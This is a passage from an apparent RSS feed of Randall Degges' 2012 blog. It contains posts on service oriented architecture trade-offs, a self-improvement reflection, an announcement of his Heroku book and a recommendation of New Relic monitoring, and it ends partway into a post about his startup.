&lt;li>A &lt;code>tumblr-api&lt;/code> service which provides an API to create, edit, and publish
a user&amp;rsquo;s blog posts.&lt;/li>
&lt;li>A &lt;code>tumblr-www&lt;/code> service which provides a user facing website, and makes use
of your &lt;code>tumblr-accounts&lt;/code> and &lt;code>tumblr-api&lt;/code> services to build its
functionality.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>NOTE&lt;/strong>: For something as large and ambitious as tumblr, you&amp;rsquo;d likely want to
have more than the three services listed above. If you are getting started
with SOA, however, always writing an &lt;code>accounts&lt;/code>, &lt;code>api&lt;/code>, and &lt;code>www&lt;/code> service is a
good starting point.&lt;/p>
&lt;p>Through the process of writing your &lt;code>accounts&lt;/code>, &lt;code>api&lt;/code>, and &lt;code>www&lt;/code> services
you&amp;rsquo;ll also be faced with another obstacle: defining a clean and clear API
that you&amp;rsquo;ll be using to work with your data. When you begin writing services,
you can&amp;rsquo;t half-ass anything&amp;ndash;you have to make a working API for your &lt;code>accounts&lt;/code>
project, and a working API for your &lt;code>api&lt;/code> project&amp;ndash;otherwise, nothing else will
work.&lt;/p>
&lt;p>Compare this with writing a single monolithic project. When writing a single
large application you can typically make time saving trade-offs as you&amp;rsquo;re
writing your MVP. For instance, instead of maintaining separate databases for
your user accounts and your blog posts, you can throw them all on a single
database. This means you can also use your framework&amp;rsquo;s ORM (object relational
mapper) to create, edit, and delete users and blog posts without having to
worry about writing any sort of APIs.&lt;/p>
&lt;p>Over time, as your application grows in features and complexity, having
separate independent services that interact with each other via APIs is going
to be a lot simpler to maintain&amp;ndash;but in the short term, it is typically much
quicker to hack together a single monolithic project as opposed to a nicely
modularized service oriented architecture.&lt;/p>
&lt;h2 id="problem-2---authentication-implementation">Problem 2 - Authentication Implementation&lt;/h2>
&lt;p>If you&amp;rsquo;ve never written service oriented web applications before, the first
time you give it a try you&amp;rsquo;ll likely bump into a frustrating problem: handling
user authentication properly for your website.&lt;/p>
&lt;p>In my experience writing service oriented web applications, this is without a
doubt the single largest implementation issue people bump into. Let&amp;rsquo;s
&lt;em>analyze&lt;/em> the problem (and also discuss the solution).&lt;/p>
&lt;p>Going back to our tumblr example from the previous section&amp;ndash;we have &lt;code>www&lt;/code>,
&lt;code>api&lt;/code>, and &lt;code>accounts&lt;/code> services. The authentication implementation problem
you&amp;rsquo;ll bump into happens when you start writing your &lt;code>www&lt;/code> service.&lt;/p>
&lt;p>Most web frameworks are built around the idea of creating monolithic web
applications. Many web frameworks ship with an ORM, whose deep integration
makes handling certain types of problems very simple. For instance, using many
web frameworks (I&amp;rsquo;ll use &lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a> as an example), you can easily log a user
into their account, allowing them to access certain web pages.&lt;/p>
&lt;p>The way this works is that each time a user makes an HTTP request to your site,
Django will perform a database query to ensure the user account exists and is
properly identified. This ensures that a user is legitimate, and allows you
(the developer) to skip a lot of implementation details dealing with
authentication.&lt;/p>
&lt;p>When you move to a service oriented architecture, however, you no longer have
an ORM available to your &lt;code>www&lt;/code> service. Instead of performing a database query
every time a user makes an HTTP request to your site, you need to make an HTTP
request to your internal &lt;code>accounts&lt;/code> service, authenticating the user properly.&lt;/p>
&lt;p>Since most web developers never have to worry about this sort of implementation
themselves, this can be a tricky thing to implement.&lt;/p>
&lt;p>Solving this problem is typically different for each web framework. If you&amp;rsquo;re
using Django, for instance, the solution is to subclass the default
authentication back end that ships with Django and override the necessary
methods to perform HTTP requests to your &lt;code>accounts&lt;/code> service instead of
performing ORM queries. If you&amp;rsquo;re using &lt;a href="http://flask.pocoo.org/" title="Flask">Flask&lt;/a> (another python web
framework), the solution is to use the wonderful third party application:
&lt;a href="http://packages.python.org/Flask-Login/" title="Flask-Login">flask-login&lt;/a>.&lt;/p>
&lt;p>Regardless of your tool set, this is almost always a problem people bump into.&lt;/p>
&lt;h2 id="problem-3---cost">Problem 3 - Cost&lt;/h2>
&lt;p>Another issue people frequently bring up when discussing SOA is cost.
Depending on your application requirements, cost can quickly become a
prohibiting factor.&lt;/p>
&lt;p>To truly get the benefits of a service oriented web application, you need each
service to be ran and managed independently of one another. This means that
you&amp;rsquo;d run each of your services on separate groups of servers, each with their
own dedicated resources (databases, caching servers, whatever).&lt;/p>
&lt;p>If you have a very small application, and don&amp;rsquo;t plan on getting a lot of usage
out of it&amp;ndash;writing it in a service oriented fashion may be more work and more
expensive than it&amp;rsquo;s worth.&lt;/p>
&lt;p>One way around the cost issue, however, is to deploy your services to a
platform like &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>. Heroku&amp;rsquo;s platform allows you to deploy your services
live with a generous free tier (a single free web server, free small databases,
caching servers, etc.). This can be a good option if you&amp;rsquo;d like to build a
service oriented web application without breaking the bank, as you can easily
scale up when your usage gets higher, and begin paying for higher levels of
service as your application grows.&lt;/p>
&lt;h2 id="problem-4---documentation">Problem 4 - Documentation&lt;/h2>
&lt;p>Quite possibly the largest SOA issue you&amp;rsquo;ll face if you decide to write service
oriented web applications is that there is very little practical documentation
around.&lt;/p>
&lt;p>Many popular web frameworks, tool sets, books and classes only teach the
monolithic model of web application development. This means that there are
very few guides, and very few helpful resources out there to help you when you
get stuck.&lt;/p>
&lt;p>Unfortunately, since writing service oriented web applications is a lot more
difficult to explain (and has varying requirements depending on your specific
use case), many books, guides, and tutorials don&amp;rsquo;t teach it as it adds
unnecessarily complex material and mental models, which may scare off new
developers.&lt;/p>
&lt;p>In the future, as SOA continues to become more popular, I&amp;rsquo;d be surprised if
there weren&amp;rsquo;t more resources available. I&amp;rsquo;m guessing that in the next few
years there will be a large amount of books, tutorials, and guides written
covering these topics in more depth.&lt;/p>
&lt;h2 id="wrap-up">Wrap Up&lt;/h2>
&lt;p>If you&amp;rsquo;ve read all the way down to here, you probably have a good understanding
of the challenges you&amp;rsquo;ll face writing service oriented web applications.&lt;/p>
&lt;p>Writing services means you need to have more development discipline, maintain a
stricter set of APIs for your services, and generally invest more time upfront
when writing your application.&lt;/p>
&lt;p>In my experience, writing service oriented web applications can be an extremely
effective way to build great products. Not only do you gain tremendous
benefits initially (a stricter set of APIs, redundancy at a service level,
simpler isolated code bases), but as time goes on these benefits become more
and more prevalent (it is easier to maintain your application, you can scale
your application quicker and more precisely, complexity drops substantially).&lt;/p>
&lt;p>Regardless of how you write your applications, go hack something! &amp;gt;:)&lt;/p></description></item><item><title>Service Oriented Side Effects</title><link>https://rdegges.com/2012/service-oriented-side-effects/</link><pubDate>Fri, 28 Sep 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/service-oriented-side-effects/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/service-oriented-side-effects/robot-warrior-sketch.png" alt="Robot Warrior Sketch" title="Robot Warrior Sketch">
&lt;/p>
&lt;p>There are two primary ways to write web applications these days:&lt;/p>
&lt;ul>
&lt;li>By building a single, monolithic web application (where all your code is in
a single project and runs on a single domain).&lt;/li>
&lt;li>By building lots of small independent web services, each one with their own
codebase and URL endpoint. (This methodology is known as
&lt;a href="http://en.wikipedia.org/wiki/Service-oriented_architecture" title="Service Oriented Architecture">Service Oriented Architecture&lt;/a>.)&lt;/li>
&lt;/ul>
&lt;p>There are benefits and drawbacks to each approach.&lt;/p>
&lt;p>What this article is about, however, are the side effects of writing your
applications as web services as opposed to monolithic web applications. This
article assumes you have some basic knowledge of writing web applications.&lt;/p>
&lt;p>To get started, lets discuss the basics: the monolithic pattern and the service
pattern.&lt;/p>
&lt;h2 id="the-monolithic-pattern">The Monolithic Pattern&lt;/h2>
&lt;p>If I had to guess, I&amp;rsquo;d say that close to 99% of all active web applications are
written as monolithic web apps. Why? I think that with so little practical
information around on building service oriented web applications, it is only
natural to build monolithic applications instead.&lt;/p>
&lt;p>For starters, it&amp;rsquo;s a lot easier (at least in the beginning) to put all your web
app code into a single project. Over time, as your project grows and more and
more complexity is added, it&amp;rsquo;s a lot easier to simply refactor the old stuff
than it is to rip your application apart into multiple independent services.&lt;/p>
&lt;p>With so many monolithic applications out there, certain patterns have emerged
over the years that make building and scaling monolithic web applications
simpler&amp;ndash;primarily, &lt;a href="http://en.wikipedia.org/wiki/Message_queue" title="Message Queues">message queues&lt;/a>.&lt;/p>
&lt;p>When you&amp;rsquo;re working on a large monolithic web application, and need to:&lt;/p>
&lt;ul>
&lt;li>Speed up your response time,&lt;/li>
&lt;li>Render things asynchronously, or&lt;/li>
&lt;li>Perform time intensive operations on separate hardware&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>The de-facto way to do so is by relying on the message queueing pattern. What
this allows you to do is dump tasks into a message queue (something
like &lt;a href="http://www.rabbitmq.com/" title="RabbitMQ">RabbitMQ&lt;/a>, &lt;a href="http://aws.amazon.com/sqs/" title="Amazon SQS">Amazon SQS&lt;/a>, or &lt;a href="http://redis.io/" title="Redis">Redis&lt;/a>), which will then be read
(consumed) by one or more worker servers which read the task, process it, and
dump the resulting values into some place that your web application can
retrieve it.&lt;/p>
&lt;p>Using message queues allows you to fire-and-forget slow operations, letting
them happen naturally behind the scenes without delaying your web response
time.&lt;/p>
&lt;h2 id="the-service-pattern">The Service Pattern&lt;/h2>
&lt;p>While service oriented architecture is certainly a hot topic in tech circles,
it has still not gained widespread adoption, primarily due to the fact that it
can be complex to implement, and has a steeper learning curve for new
developers.&lt;/p>
&lt;p>Service oriented web applications differ from monolithic web applications in
several main ways:&lt;/p>
&lt;ul>
&lt;li>They are composed of multiple, small, independent services (think: &lt;code>www&lt;/code>,
&lt;code>api&lt;/code>, &lt;code>accounts&lt;/code>, &lt;code>portal&lt;/code>).&lt;/li>
&lt;li>Each of these small services talks via HTTP to the other services.&lt;/li>
&lt;li>Each of these small services has less code in it (since they do less
things), making them generally easier to maintain over long periods of
time.&lt;/li>
&lt;li>Each of these small services has their own resources: web servers,
databases, etc.&lt;/li>
&lt;/ul>
&lt;p>As you can probably see, building service oriented web applications essentially
gives you many small moving parts as opposed to a single large part.&lt;/p>
&lt;h2 id="effect-1-maintainability">Effect 1: Maintainability&lt;/h2>
&lt;p>The first side effect you get by writing service oriented web applications is
simple: better maintainability for your web application.&lt;/p>
&lt;p>By having multiple small code bases that are each responsible for a very small
amount of logic, you&amp;rsquo;ll typically have an easier time maintaining your code in
the long term&amp;ndash;since complexity is always kept to a minimum and the code is
easy to navigate.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;ve written an &lt;code>accounts&lt;/code> web service, which is solely responsible
for creating, updating, and removing user accounts. This means that if you
need to update some account logic, you know exactly where it is. There is no
searching through thousands of lines of view code, database wrappers, or
anything else&amp;ndash;as this logic exists in only a single small place in your
application.&lt;/p>
&lt;p>Compare this with maintaining monolithic applications with lots of complexity
in a single place, it becomes harder to make code changes without side effects,
more difficult for new developers to dive in (where do I get started?), and
tricky to refactor without breaking things.&lt;/p>
&lt;h2 id="effect-2-scalability">Effect 2: Scalability&lt;/h2>
&lt;p>One of my favorite effects of writing service oriented web applications is the
passive effect it has on scalability.&lt;/p>
&lt;p>By having multiple small web services, each with their own resources
(databases, message queues, web servers), this gives you the ultimate
flexibility in scaling your web application. Let&amp;rsquo;s say your application
consists of the following services:&lt;/p>
&lt;ul>
&lt;li>&lt;code>myapp-api&lt;/code>, your public facing web API for developers.&lt;/li>
&lt;li>&lt;code>myapp-www&lt;/code>, your public facing website.&lt;/li>
&lt;li>&lt;code>myapp-accounts&lt;/code>, your internal API for managing user accounts.&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s say that each time a developer makes a request to your &lt;code>myapp-api&lt;/code>
project, you first have to authenticate the user against your &lt;code>myapp-accounts&lt;/code>
project (real-world scenario). Let&amp;rsquo;s also say that each time users log into
their account on &lt;code>myapp-www&lt;/code>, they ALSO must authenticate against your
&lt;code>myapp-accounts&lt;/code> project.&lt;/p>
&lt;p>Since both your &lt;code>myapp-api&lt;/code> and &lt;code>myapp-www&lt;/code> projects rely on &lt;code>myapp-accounts&lt;/code>
for authentication data, it is likely that your &lt;code>myapp-accounts&lt;/code> project will
be getting a lot more usage than either your &lt;code>myapp-api&lt;/code> or &lt;code>myapp-www&lt;/code>
projects.&lt;/p>
&lt;p>Luckily, since you&amp;rsquo;ve built your web application as a composition of
independent services, you now have several options to scale your
&lt;code>myapp-accounts&lt;/code> project:&lt;/p>
&lt;ul>
&lt;li>You can add more web servers.&lt;/li>
&lt;li>You can add a larger database.&lt;/li>
&lt;li>You can scale your database queries out (through read slaves).&lt;/li>
&lt;li>You can add or refactor your logic to make better use of message queues for
time intensive tasks.&lt;/li>
&lt;/ul>
&lt;p>And you can do this all without affecting either of your other two services:
&lt;code>myapp-api&lt;/code> or &lt;code>myapp-www&lt;/code>!&lt;/p>
&lt;p>Compare this with scaling monolithic web applications: if you need to increase
capacity for users authenticating against your database, you must scale your
entire application&amp;ndash;you can&amp;rsquo;t selectively choose which parts to scale, and
which parts to leave alone (note: this isn&amp;rsquo;t &lt;em>entirely&lt;/em> true, but I&amp;rsquo;m saying
it anyway).&lt;/p>
&lt;h2 id="effect-3-simplicity">Effect 3: Simplicity&lt;/h2>
&lt;p>Another effect of writing service oriented web applications is that you
generally have a much simpler back end system.&lt;/p>
&lt;p>As I mentioned at the start of this article, one of the primary ways to scale
monolithic web applications is by heavily relying on message queues to process
time intensive tasks. When you begin writing services as opposed to monolithic
apps, you can actually rely much less on messages queues than you&amp;rsquo;d think,
eliminating technical complexity and architectural burden.&lt;/p>
&lt;p>Let&amp;rsquo;s say you have a monolithic application that fires off a time intensive
task (via a message queue) which subtracts money from a user&amp;rsquo;s bank account.
The reason you fire this off as a task is because this function must perform a
lot of sanity checks before removing the user&amp;rsquo;s money, and you want to ensure
this happens safely outside of your user&amp;rsquo;s request-response cycle.&lt;/p>
&lt;p>What if one of your internal services handled all banking transactions for
users? Instead of:&lt;/p>
&lt;ul>
&lt;li>Running a message queue,&lt;/li>
&lt;li>Running a backup message queue (in case of failure), and&lt;/li>
&lt;li>Running multiple worker servers&amp;hellip;&lt;/li>
&lt;/ul>
&lt;p>You could simply fire off an HTTP POST request to your internal
&lt;code>myapp-transactions&lt;/code> project and let it handle things in real time. The reason
you could do this is because, knowing your transactions application requires
fast servers, you could:&lt;/p>
&lt;ul>
&lt;li>Ensure your &lt;code>myapp-transactions&lt;/code> service runs on very fast web servers,&lt;/li>
&lt;li>Can quickly process and handle banking transactions,&lt;/li>
&lt;li>Keep your code simple and independent of external dependencies.&lt;/li>
&lt;/ul>
&lt;p>Instead of relying on a message queue, you could: rip it out of your
architecture all together, have a small (easily maintainable) code base for
your transactions, expose a simple HTTP service that your other applications
can talk with, and scale your transactions service independent of all your
other services (this way, if you suddenly start doing a lot of transactions,
you only need to focus on scaling a single small code base).&lt;/p>
&lt;h2 id="wrap-up">Wrap Up&lt;/h2>
&lt;p>In my experience, building service oriented web applications generally leads to
simpler, faster, and more scalable web applications. Without realizing it, you
can:&lt;/p>
&lt;ul>
&lt;li>Make maintaining and expanding your code base easier.&lt;/li>
&lt;li>Lower the bar for new developers.&lt;/li>
&lt;li>Make scaling your application a simple process.&lt;/li>
&lt;li>Reduce architectural overhead and complexity.&lt;/li>
&lt;/ul>
&lt;p>Also: if you&amp;rsquo;re at all interested in building service oriented web
applications, you may want to check out my book:
&lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>, it teaches you how to use
&lt;a href="http://www.heroku.com/" title="Heroku">Heroku&amp;rsquo;s platform&lt;/a> to build fast, small, independent web services.&lt;/p></description></item><item><title>The Simplest Question</title><link>https://rdegges.com/2012/the-simplest-question/</link><pubDate>Thu, 27 Sep 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/the-simplest-question/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/the-simplest-question/samurai-in-hat-sketch.png" alt="Samurai in Hat Sketch" title="Samurai in Hat Sketch">
&lt;/p>
&lt;p>Improvement is something nearly everyone craves&amp;ndash;you want to be better at your
job, better at your relationships, better with your physical fitness&amp;ndash;the lists
goes on endlessly.&lt;/p>
&lt;p>Regardless of what you&amp;rsquo;re trying to improve, there are likely thousands of
websites, books, and bits of advice available to you that will help you to
analyze your desires, organize them in a healthy way, and slowly make progress
towards one (or more) of these goals. Over time, with enough consistency,
you&amp;rsquo;ll improve in the areas you want to improve in, and feel better about it
along the way.&lt;/p>
&lt;p>Despite the plethora of readily available information, I can&amp;rsquo;t help but think
of my own experiences with personal development over the past few years. I&amp;rsquo;ve
spent hundreds of hours reading books, writing, and working to improve myself,
but the most important lesson I learned along the way was to ask myself a
simple question every day:&lt;/p>
&lt;p>&amp;ldquo;Is what I&amp;rsquo;m about to do taking me closer to my goals, or further away?&amp;rdquo;&lt;/p>
&lt;p>No matter how many things I&amp;rsquo;ve got on my TODO list, no matter how much pressure
I&amp;rsquo;m under, and no matter how crappy I&amp;rsquo;m feeling at the time&amp;ndash;asking myself that
simple question has without a doubt been the most effective way I&amp;rsquo;ve been able
to keep moving forward.&lt;/p>
&lt;p>It is so easy to sabotage yourself and your desires. When you&amp;rsquo;re tired,
frustrated, pressured, irritated, or generally feeling less-than-perfect, you
tend to make mistakes. You&amp;rsquo;ll eat that extra cheeseburger, skip that last
important email, and slowly move yourself further away from your goals.&lt;/p>
&lt;p>The next time you make a decision to do something, ask yourself that simple
question, and keep yourself honest.&lt;/p></description></item><item><title>My Heroku Book is Finished</title><link>https://rdegges.com/2012/my-heroku-book-is-finished/</link><pubDate>Mon, 10 Sep 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/my-heroku-book-is-finished/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/my-heroku-book-is-finished/the-heroku-hackers-guide-cover.png" alt="The Heroku Hacker&amp;amp;rsquo;s Guide Cover" title="The Heroku Hacker&amp;#39;s Guide Cover">
&lt;/p>
&lt;p>I wrote &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">a book&lt;/a> on Heroku! It&amp;rsquo;s called &lt;strong>The Heroku Hacker&amp;rsquo;s Guide&lt;/strong>, and
you can buy it (right now!) in both e-book (PDF) and paperback formats on the
new book website: &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">http://www.theherokuhackersguide.com/&lt;/a>.&lt;/p>
&lt;p>If you&amp;rsquo;ve read my blog, you know I tend to talk a lot about web applications,
infrastructure, and best practices. My real passion as a developer (and
startup guy) has always been building things. I love creating new products,
services, and APIs. I love working on open source code. And I &lt;em>really&lt;/em> love
deploying my code to simple platforms that encourage me to write good code, and
allow me to grow my applications as I please.&lt;/p>
&lt;p>Since first using &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>, I&amp;rsquo;ve been incredibly impressed over and over
again by their product, service, and culture. Not only has it been incredibly
simple and straightforward to deploy my web applications on Heroku&amp;rsquo;s platform&amp;ndash;
it has been &lt;em>enjoyable&lt;/em>.&lt;/p>
&lt;p>Over my years working on and building web applications, I&amp;rsquo;ve done all sorts of
devops work. I&amp;rsquo;ve built continuous integration and deployment systems. I&amp;rsquo;ve
written &lt;a href="http://puppetlabs.com/" title="Puppet">puppet&lt;/a> modules to bootstrap software services. I&amp;rsquo;ve spent time
writing &lt;a href="http://www.rackspace.com/" title="Rackspace">Rackspace&lt;/a> and &lt;a href="http://aws.amazon.com/" title="AWS">EC2&lt;/a> auto-provisioning scripts that boot new
servers and kickstart software configurations. I&amp;rsquo;ve learned how to
automatically load balance incoming HTTP requests. All in all, I&amp;rsquo;ve spent
thousands of hours building fail-safe web services.&lt;/p>
&lt;p>But I can tell you now that the &lt;em>single most effective thing&lt;/em> I ever did to
free up my time and let me do what I love (build things) was to start using
Heroku.&lt;/p>
&lt;p>In my opinion, Heroku has gotten things right. They&amp;rsquo;ve built a
platform-as-a-service company that encourages &lt;a href="http://www.12factor.net/" title="The 12 Factor App">best practices&lt;/a> development,
and gives you all the tools and transparency you need to deploy amazing
software that people love.  Outside their product, Heroku is filled with
amazing people doing amazing things. They actively build and release open
source software (look at their &lt;a href="https://github.com/heroku" title="Heroku on GitHub">GitHub account&lt;/a>), they hire &lt;a href="http://kennethreitz.com/" title="Kenneth Reitz">amazing&lt;/a>
&lt;a href="http://craigkerstiens.com/" title="Craig Kerstiens">people&lt;/a> that build &lt;a href="https://github.com/ddollar/foreman" title="Foreman">amazing&lt;/a> &lt;a href="https://github.com/kennethreitz/requests" title="Python Requests">things&lt;/a>, and they genuinely care
about their users.&lt;/p>
&lt;p>My new book, &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>, aims to be a practical guide
to using and &lt;em>understanding&lt;/em> Heroku&amp;rsquo;s platform, from the ground up. Regardless
of what programming language or web frameworks you use, if you&amp;rsquo;re serious about
deploying your web applications to the best platform around, and want to master
your tool set, this book is for you.&lt;/p>
&lt;p>If you&amp;rsquo;d like to buy the book (or learn more about it), you can do so here:
&lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">http://www.theherokuhackersguide.com/&lt;/a>.&lt;/p>
&lt;p>Thanks for reading.&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>Become a Better Programmer - Monitoring</title><link>https://rdegges.com/2012/become-a-better-programmer-monitoring/</link><pubDate>Sun, 26 Aug 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/become-a-better-programmer-monitoring/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/grim-reaper-gesturing.png" alt="Grim Reaper Gesturing" title="Grim Reaper Gesturing">
&lt;/p>
&lt;p>Becoming a better programmer is hard work. Luckily, there&amp;rsquo;s one foolproof way
to improve your programming skills while simultaneously getting real world
feedback: monitoring. There are tons of other ways to improve your programming
skills, but I&amp;rsquo;m only going to touch on one aspect (monitoring) in this post.&lt;/p>
&lt;p>&lt;em>Before I continue, I just wanted to let you know I have absolutely no
affiliation with &lt;a href="http://newrelic.com/" title="NewRelic - Shit just got real for programmers.">New Relic&lt;/a> (I&amp;rsquo;m going to be talking about them a lot).&lt;/em>&lt;/p>
&lt;h2 id="prerequisites">Prerequisites&lt;/h2>
&lt;p>There is really only one prerequisite to using monitoring to improving your
programming skills: you need to write / maintain web software that people
actually use.&lt;/p>
&lt;p>Since almost everyone that reads my blog is a web programmer, I figure it&amp;rsquo;s
pretty safe to assume you meet this prerequisites already.&lt;/p>
&lt;p>In the off chance you don&amp;rsquo;t write web software, I&amp;rsquo;ll be covering other
strategies in future posts.&lt;/p>
&lt;h2 id="how-it-works">How it Works&lt;/h2>
&lt;p>Learning is really &lt;em>really&lt;/em> hard without feedback.&lt;/p>
&lt;p>Even if you write software all day every day, while you&amp;rsquo;ll certainly become a
better typist and human compiler&amp;ndash;you&amp;rsquo;ll completely miss out on the important
lessons that really affect your programming ability:&lt;/p>
&lt;ul>
&lt;li>How to write performant code.&lt;/li>
&lt;li>How to properly refactor code.&lt;/li>
&lt;li>How to not break backwards compatibility.&lt;/li>
&lt;li>How to scale your software to support lots of users optimally.&lt;/li>
&lt;li>And about a million other lessons: caching, compatibility, handling failure
properly, etc.&lt;/li>
&lt;/ul>
&lt;p>The only way to learn and enhance these skills is to actively (and
pragmatically) evaluate your code as users are using it. This is the &lt;em>absolute
best&lt;/em> way to better your programming skills, as you immediately get real world
feedback about your code.&lt;/p>
&lt;h2 id="a-scenario">A Scenario&lt;/h2>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re writing some blog software, and you&amp;rsquo;d like to know how your
code can be improved.&lt;/p>
&lt;p>The first thing you do is write unit tests for your software. You think &amp;ldquo;this
will help me flush out the bugs&amp;rdquo;. So you spend some time writing tests, flush
out a few edge cases, and think your code is absolutely flawless.&lt;/p>
&lt;p>Later that night you get an email from a user saying your blogging software is
slow, and errors our constantly. You feel a bit of a rush: &amp;ldquo;what could have
gone wrong?&amp;rdquo;&lt;/p>
&lt;p>So now you&amp;rsquo;re looking at your code, trying to figure out what failed. You spin
up a local instance of the site, do a lot of testing, but don&amp;rsquo;t see any issues.
Bummer.&lt;/p>
&lt;p>&lt;em>This happens way too often.&lt;/em>&lt;/p>
&lt;p>The best way to become a better programmer is to monitor your application
(using monitoring software) and use this information as a feedback tool.&lt;/p>
&lt;h2 id="new-relic---monitoring-for-hackers">New Relic - Monitoring for Hackers&lt;/h2>
&lt;p>There are tons of application monitoring solutions out there, but my personal
favorite is &lt;a href="http://newrelic.com/" title="NewRelic - Shit just got real for programmers.">New Relic&lt;/a>. Using New Relic to monitor your
applications will undoubtedly make you feel like this dude:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/oh-stop-it-you.png" alt="Oh Stop It You" title="Oh Stop It You">
&lt;/p>
&lt;p>Just to enumerate some of the ways in which New Relic rocks:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>You can get it running without modifying your application code at all.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>It gives you a beautiful web interface (see screenshots below) that allows
you to easily track all of your application metrics:&lt;/p>
&lt;ul>
&lt;li>Application response time.&lt;/li>
&lt;li>Errors (404s, 500s, etc.).&lt;/li>
&lt;li>Downtime.&lt;/li>
&lt;li>Slow transactions.&lt;/li>
&lt;li>Throughput.&lt;/li>
&lt;li>Requests per minute.&lt;/li>
&lt;li>Locations of your users.&lt;/li>
&lt;li>Memory usage.&lt;/li>
&lt;li>CPU usage.&lt;/li>
&lt;li>And a &lt;em>ton&lt;/em> of other metrics. &lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>They have a free tier (which varies depending on how you run your code, but
is awesome).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>They let you create custom dashboards to track special metrics you define.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>And they&amp;rsquo;re real time. Yeah.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Here are the obligatory screenshots:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-map-screenshot.png" alt="New Relic Map Screenshot" title="New Relic Map Screenshot">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-pages-screenshot.png" alt="New Relic Pages Screenshot" title="New Relic Pages Screenshot">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-tasks-screenshot.png" alt="New Relic Tasks Screenshot" title="New Relic Tasks Screenshot">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-overview-screenshot.png" alt="New Relic Overview Screenshot" title="New Relic Overview Screenshot">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-web-screenshot.png" alt="New Relic Web Screenshot" title="New Relic Web Screenshot">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2012/become-a-better-programmer-monitoring/newrelic-task-breakdown-screenshot.png" alt="New Relic Task Breakdown Screenshot" title="New Relic Task Breakdown Screenshot">
&lt;/p>
&lt;p>As you can see, the New Relic panel lets you see a ton of data and metrics about
your application, making it really easy to identify issues, slow functions, code
that needs to be refactored, slow infrastructure components, etc.&lt;/p>
&lt;h2 id="code-push-analyze-repeat">Code, Push, Analyze, Repeat&lt;/h2>
&lt;p>Learning is all about repeating the cycle.&lt;/p>
&lt;ul>
&lt;li>You start by writing code (the first release of your blog software, let&amp;rsquo;s
say).&lt;/li>
&lt;li>You push your code live, and get users to use it.&lt;/li>
&lt;li>You look at your New Relic panel, hunting for issues.&lt;/li>
&lt;li>Can&amp;rsquo;t find any issues? Pick a metric to improve: average application
response time, page load time, database query count, whatever. Since you
have the stats in front of you, challenge yourself&amp;ndash;find ways to make things
faster, simpler, and more elegant.&lt;/li>
&lt;li>Make some code changes, and the process starts again.&lt;/li>
&lt;/ul>
&lt;p>Through this continuous process of tracking your code (and subsequently,
yourself), you&amp;rsquo;ll force yourself to learn new things, practice your skills, and
get scientific feedback along the way.&lt;/p>
&lt;h2 id="push-yourself">Push Yourself&lt;/h2>
&lt;p>Without real world analysis, you&amp;rsquo;ll only be able to push your skills so far.
If you really want to further your programming skills, you should be actively
monitoring and analyzing your applications&amp;ndash;looking for ways to improve them.&lt;/p>
&lt;p>Don&amp;rsquo;t be easy on yourself.&lt;/p>
&lt;p>Of course&amp;ndash;monitoring isn&amp;rsquo;t the only way to better yourself as a programmer&amp;ndash;
but it is a great way. If you&amp;rsquo;re serious about practicing your craft, you
should check out &lt;a href="http://newrelic.com/" title="NewRelic - Shit just got real for programmers.">New Relic&lt;/a>.&lt;/p>
&lt;p>In future posts I&amp;rsquo;m hoping to write about other methods to becoming a better
programmer.&lt;/p></description></item><item><title>Two Months In</title><link>https://rdegges.com/2012/two-months-in/</link><pubDate>Wed, 22 Aug 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/two-months-in/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/two-months-in/samurai-in-robes-sketch.png" alt="Samurai in Robes Sketch" title="Samurai in Robes Sketch">
&lt;/p>
&lt;p>Approximately two months ago, I started working on my &lt;a href="https://www.telephonyresearch.com/" title="Telephony Research">startup&lt;/a> full-time.
More than anything, I wanted to get some of these ideas out of my head so I
have something to look back at later.&lt;/p>
&lt;h2 id="chaos-is-best">Chaos is Best&lt;/h2>
&lt;p>Most software companies tend to operate by having a very specific goal, and
having a group of engineers work towards that goal (with management checking up
